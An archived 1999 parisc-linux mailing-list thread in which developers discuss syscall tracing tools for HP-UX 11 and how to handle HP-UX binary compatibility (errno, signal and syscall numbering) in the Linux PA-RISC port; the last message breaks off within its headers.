NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sun Jun 20 00:49:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA26615
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 00:49:28 -0600
Original-Received: (qmail 5191 invoked by uid 15267); 20 Jun 1999 06:48:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5184 invoked from network); 20 Jun 1999 06:48:50 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 06:48:50 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id IAA00429
	for <parisc-linux@thepuffingroup.com>; Sun, 20 Jun 1999 08:49:19 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id IAA2138315
	for <parisc-linux@thepuffingroup.com>; Sun, 20 Jun 1999 08:49:18 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10vbPq-00025eC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 20 Jun 1999 08:49:18 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9583


I've found trace for HP-UX 10.20 (and 10.10, 9.x) on ftp.interworks.org
(as recommended by the HPUX FAQ), however it doesn't appear to have been
updated for HP-UX 11.  What do you guys at HP use to trace programs?

Rather than waste time trying to get it to compile when it probably
won't link, anyone want to give me a trace of what system calls `sh'
makes when it starts up so I can have a crack at getting the most useful
bits of HPUX binary compatibility working?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace/truss/par equivalent for HP-UX
Date: Sun, 20 Jun 1999 01:08:39 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <5280.929862519@upchuck.cygnus.com>
References: <19990620084918.H30362@mencheca.ch.genedata.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619653 12160 80.91.229.3 (22 Nov 2014 01:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: law@upchuck.cygnus.com  Sun Jun 20 01:13:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA26807
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 01:13:37 -0600
Original-Received: (qmail 6821 invoked by uid 15267); 20 Jun 1999 07:13:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6814 invoked from network); 20 Jun 1999 07:12:59 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 07:12:59 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id BAA05283;
	Sun, 20 Jun 1999 01:08:39 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sun, 20 Jun 1999 08:49:18 +0200.
             <19990620084918.H30362@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9584


  In message <19990620084918.H30362@mencheca.ch.genedata.com>you write:
  > Rather than waste time trying to get it to compile when it probably
  > won't link, anyone want to give me a trace of what system calls `sh'
  > makes when it starts up so I can have a crack at getting the most useful
  > bits of HPUX binary compatibility working?
Actually for binary compatibility the linker & X server tended to exercise
the most useful bits.  Or more correctly, those were the hpux bins we (UofU)
wanted to run most badly and thus that's were we concentrated our effort :-)

If you look in Utah's code you'll find the majority of the hpux compat code;
though it will need some updating since those releases predated hpux10 and
hpux11.

Presumably you're thinking about firing up the hpux shell instead of a mini
shell the first time we attempt to get to single user using hpux compat?


jeff



  > 
  > -- 
  > Matthew Wilcox <willy@bofh.ai>
  > "Windows and MacOS are products, contrived by engineers in the service of
  > specific companies. Unix, by contrast, is not so much a product as it is a
  > painstakingly compiled oral history of the hacker subculture." - N Stephens
  > on
  > 
  > ---------------------------------------------------------------------------
  > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
  > `unsubscribe' as the subject.
  > 
  > 



From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jack Perdue <j-perdue@tamu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace/truss/par equivalent for HP-UX
Date: Sun, 20 Jun 1999 02:32:33 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <3.0.5.32.19990620023233.008f38a0@pop.tamu.edu>
References: <19990620084918.H30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619654 12164 80.91.229.3 (22 Nov 2014 01:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: j-perdue@tamu.edu  Sun Jun 20 01:33:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA26997
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 01:33:41 -0600
Original-Received: (qmail 7961 invoked by uid 15267); 20 Jun 1999 07:33:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7954 invoked from network); 20 Jun 1999 07:33:08 -0000
Original-Received: from mail.tamu.edu (128.194.103.38)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 07:33:08 -0000
Original-Received: from whitetower (modem-0122.rns.tamu.edu [165.91.64.185])
	by mail.tamu.edu (8.9.0/8.9.0) with SMTP id CAA10980
	for <parisc-linux@thepuffingroup.com>; Sun, 20 Jun 1999 02:33:37 -0500 (CDT)
X-Sender: jkp2866@pop.tamu.edu
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
In-Reply-To: <19990620084918.H30362@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9585

At 08:49 AM 6/20/99 +0200, MW wrote:
>
>I've found trace for HP-UX 10.20 (and 10.10, 9.x) on ftp.interworks.org
>(as recommended by the HPUX FAQ), however it doesn't appear to have been
>updated for HP-UX 11.  What do you guys at HP use to trace programs?


FWIW, you can try tusc at:

 ftp://ftp.cup.hp.com/dist/networking/misc/         ^[1]

jack [who has no idea whether guys at HP use such a thing]
j-perdue@tamu.edu


[1]

>From: foo@bar.baz (Rick Jones)
>Newsgroups: comp.sys.hp.hpux
>Subject: new version of syscall tracing tool on ftp.cup.hp.com
>Date: 19 Apr 1999 18:36:25 GMT
>Organization: the Unofficial Hewlett-Packard
>Lines: 16
>Message-ID: <7fft39$3ha$2@ocean.cup.hp.com>
>NNTP-Posting-Host: loiter.cup.hp.com
>Summary: A new version of tusc, a tool for system call tracing, is available
>Keywords: tusc, trace, truss
>X-Newsreader: TIN [version 1.2 PL2.13]
>Xref: news.tamu.edu comp.sys.hp.hpux:105999
>
>Folks
>
>Tusc is a trace/truss-like system call tracing tool for HP-UX 11. 
>
>The author of tusc has made further enhancements to the tusc syscall
>tracing tool. They are in the area of improving the tracing of large
>numbers of processes.
>
>The copy of tusc at ftp://ftp.cup.hp.com/dist/networking/misc/ has
>been updated.
>
>rick jones
>--
>these opinions are mine, all mine; HP might not want them anyway... :)
>feel free to email, or post, but please do not do both...
>my email address is raj in the cup.hp.com domain...


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace/truss/par equivalent for HP-UX
Date: Sun, 20 Jun 1999 12:27:40 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19990620122740.I30362@mencheca.ch.genedata.com>
References: <19990620084918.H30362@mencheca.ch.genedata.com> <3.0.5.32.19990620023233.008f38a0@pop.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619654 12168 80.91.229.3 (22 Nov 2014 01:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jack Perdue <j-perdue@tamu.edu>
Original-X-From: Matthew.Wilcox@genedata.com  Sun Jun 20 04:27:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA27602
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 04:27:45 -0600
Original-Received: (qmail 17885 invoked by uid 15267); 20 Jun 1999 10:27:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17878 invoked from network); 20 Jun 1999 10:27:11 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 10:27:11 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id MAA00820;
	Sun, 20 Jun 1999 12:27:41 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id MAA2174327;
	Sun, 20 Jun 1999 12:27:40 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10vepA-00025eC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for j-perdue@tamu.edu; Sun, 20 Jun 1999 12:27:40 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <3.0.5.32.19990620023233.008f38a0@pop.tamu.edu>; from Jack Perdue on Sun, Jun 20, 1999 at 02:32:33AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9586

On Sun, Jun 20, 1999 at 02:32:33AM -0500, Jack Perdue wrote:
> At 08:49 AM 6/20/99 +0200, MW wrote:
> >
> >I've found trace for HP-UX 10.20 (and 10.10, 9.x) on ftp.interworks.org
> >(as recommended by the HPUX FAQ), however it doesn't appear to have been
> >updated for HP-UX 11.  What do you guys at HP use to trace programs?
> 
> 
> FWIW, you can try tusc at:
> 
>  ftp://ftp.cup.hp.com/dist/networking/misc/         ^[1]
> 
> jack [who has no idea whether guys at HP use such a thing]
> j-perdue@tamu.edu

That is wonderful, thank you very much.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPUX binary compatibility
Date: Sun, 20 Jun 1999 19:40:15 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <19990620194015.J30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619654 12170 80.91.229.3 (22 Nov 2014 01:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sun Jun 20 11:40:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA27875
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 11:40:28 -0600
Original-Received: (qmail 25345 invoked by uid 15267); 20 Jun 1999 17:39:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25338 invoked from network); 20 Jun 1999 17:39:45 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 17:39:45 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA01590
	for <parisc-linux@thepuffingroup.com>; Sun, 20 Jun 1999 19:40:16 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA2197419
	for <parisc-linux@thepuffingroup.com>; Sun, 20 Jun 1999 19:40:15 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10vlZn-00029qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 20 Jun 1999 19:40:15 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9587


How far do we want to or are we able to go with making constants identical
between HPUX and Linux?

Some syscalls are going to have to be different between the two OSes --
ioctl is the obvious example -- but it would be nice to have to do as
little work as possible.

I've just been through errno.h making the Linux error numbers the same as
the HPUX ones.  This seems pretty sane; I can't imagine that it will have
any negative effect on anything.  Where it gets a little more thorny is
in signal.h -- HPUX uses more than 32 signals.  Is it going to negatively
impact Linux at all to use more than 32?  I see there is space reserved
for them, but I'd like someone to reassure me.

The real thing which bothers me about this is that doing this means that
HPUX and Linux are then allocating from the same numberspace, so where
Linux has things which HPUX doesn't, HPUX might later allocate the same
number for a different extension.

(Of course, if HP want to add Linux binary compatibility to HPUX, now
would be a great time to mention it :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Sun, 20 Jun 1999 12:45:54 -0700 (PDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <199906201945.MAA27215@bart.allegro.com>
References: <19990620194015.J30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619655 12171 80.91.229.3 (22 Nov 2014 01:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: sieler@bart.allegro.com  Sun Jun 20 13:46:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA28163
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 13:46:52 -0600
Original-Received: (qmail 7986 invoked by uid 15267); 20 Jun 1999 19:46:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7979 invoked from network); 20 Jun 1999 19:46:17 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 19:46:17 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id MAA27215;
	Sun, 20 Jun 1999 12:45:55 -0700
In-Reply-To: <19990620194015.J30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 20, 99 07:40:15 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9588

Re:

> How far do we want to or are we able to go with making constants identical
> between HPUX and Linux?
> 
> Some syscalls are going to have to be different between the two OSes --
> ioctl is the obvious example -- but it would be nice to have to do as
> little work as possible.

that's why I suggested shifting the Linux system call magic numbers
upwards, to avoid the HP range.  If the Linux ioctl is different than the
HP-UX one, then it should have a different syscall number.
 
> Linux has things which HPUX doesn't, HPUX might later allocate the same
> number for a different extension.

Not if HP agrees to reserve a range for Linux use.
 
> (Of course, if HP want to add Linux binary compatibility to HPUX, now
> would be a great time to mention it :-)

that sounds fair!
 
-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Sun, 20 Jun 1999 14:21:36 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20550.929910096@upchuck.cygnus.com>
References: <19990620194015.J30362@mencheca.ch.genedata.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619655 12172 80.91.229.3 (22 Nov 2014 01:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: law@upchuck.cygnus.com  Sun Jun 20 14:26:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA28344
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 14:26:36 -0600
Original-Received: (qmail 12273 invoked by uid 15267); 20 Jun 1999 20:26:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12266 invoked from network); 20 Jun 1999 20:26:00 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 20:26:00 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id OAA20553;
	Sun, 20 Jun 1999 14:21:36 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sun, 20 Jun 1999 19:40:15 +0200.
             <19990620194015.J30362@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9589


  In message <19990620194015.J30362@mencheca.ch.genedata.com>you write:
  > 
  > How far do we want to or are we able to go with making constants identical
  > between HPUX and Linux?
We never bothered at the UofU.  It didn't seem worth the headache to try and
get either HP or Berkeley to change syscall, errno or other constants.

  > I've just been through errno.h making the Linux error numbers the same as
  > the HPUX ones.  This seems pretty sane; I can't imagine that it will have
  > any negative effect on anything.  Where it gets a little more thorny is
  > in signal.h -- HPUX uses more than 32 signals.  Is it going to negatively
  > impact Linux at all to use more than 32?  I see there is space reserved
  > for them, but I'd like someone to reassure me.
Just write translators on the hpux emulation side.

ie, consider the linux values the canonical internal form.

You then have two external representations.

  First is linux.  Do nothing here since the internal & external representation
  is the same.

  Second is hpux.  Translate values as you enter/exit the kernel.  So for
  example, you may need a second syscall table to do handoff of syscalls
  after translating the syscall #.  On the exit path you probably need to
  translate errno values.  Similarly for signals.

jeff



From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Sun, 20 Jun 1999 22:05:16 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E10vomE-0004vh-00@the-village.bc.nu>
References: <19990620194015.J30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619655 12174 80.91.229.3 (22 Nov 2014 01:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Jun 20 15:06:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA28560
	for <parisc-linux@puffin.external.hp.com>; Sun, 20 Jun 1999 15:06:36 -0600
Original-Received: (qmail 16189 invoked by uid 15267); 20 Jun 1999 21:05:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16182 invoked from network); 20 Jun 1999 21:05:57 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 20 Jun 1999 21:05:57 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10vomE-0004vh-00; Sun, 20 Jun 1999 22:05:19 +0100
In-Reply-To: <19990620194015.J30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 20, 99 07:40:15 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9590

> any negative effect on anything.  Where it gets a little more thorny is
> in signal.h -- HPUX uses more than 32 signals.  Is it going to negatively
> impact Linux at all to use more than 32?  I see there is space reserved
> for them, but I'd like someone to reassure me.

How many non RT signals has HP/UX got. If its more than 32 we should allow
for it, otherwise whoever does HP/UX compatibility will hate you 



From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 10:41:48 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <19990621104148.M30362@mencheca.ch.genedata.com>
References: <19990620194015.J30362@mencheca.ch.genedata.com> <E10vomE-0004vh-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619656 12178 80.91.229.3 (22 Nov 2014 01:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:36 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 21 02:41:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA02066
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 02:41:54 -0600
Original-Received: (qmail 11328 invoked by uid 15267); 21 Jun 1999 08:41:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11321 invoked from network); 21 Jun 1999 08:41:16 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 08:41:16 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id KAA03795;
	Mon, 21 Jun 1999 10:41:49 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id KAA2218721;
	Mon, 21 Jun 1999 10:41:48 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10vzeG-00025gC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Mon, 21 Jun 1999 10:41:48 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <E10vomE-0004vh-00@the-village.bc.nu>; from Alan Cox on Sun, Jun 20, 1999 at 10:05:16PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9591

On Sun, Jun 20, 1999 at 10:05:16PM +0100, Alan Cox wrote:
> > any negative effect on anything.  Where it gets a little more thorny is
> > in signal.h -- HPUX uses more than 32 signals.  Is it going to negatively
> > impact Linux at all to use more than 32?  I see there is space reserved
> > for them, but I'd like someone to reassure me.
> 
> How many non RT signals has HP/UX got. If its more than 32 we should allow
> for it, otherwise whoever does HP/UX compatibility will hate you 

1-36 are non-RT, 37-44 are RT.  The header file contains the ominous
comment:

/* New signals: assign numbers before _SIGRTMIN, and increase _SIGRTMIN
   and _SIGRTMAX to keep at end. */

The signal.h I committed last night gives Linux/PARISC ordinary signals
from 1-36 and RT signals from 37-64.  I reused _SIGGFAULT (Graphics
framebuffer fault) to be SIGSTKFLT for which HPUX has no equivalent.  My
question was, will having more than 32 signals annoy any Linux people?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 10:50:17 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19990621105017.N30362@mencheca.ch.genedata.com>
References: <19990620194015.J30362@mencheca.ch.genedata.com> <20550.929910096@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619656 12180 80.91.229.3 (22 Nov 2014 01:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:36 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 21 02:50:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA02341
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 02:50:22 -0600
Original-Received: (qmail 12294 invoked by uid 15267); 21 Jun 1999 08:49:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12286 invoked from network); 21 Jun 1999 08:49:45 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 08:49:45 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id KAA03833;
	Mon, 21 Jun 1999 10:50:18 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id KAA2152137;
	Mon, 21 Jun 1999 10:50:18 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
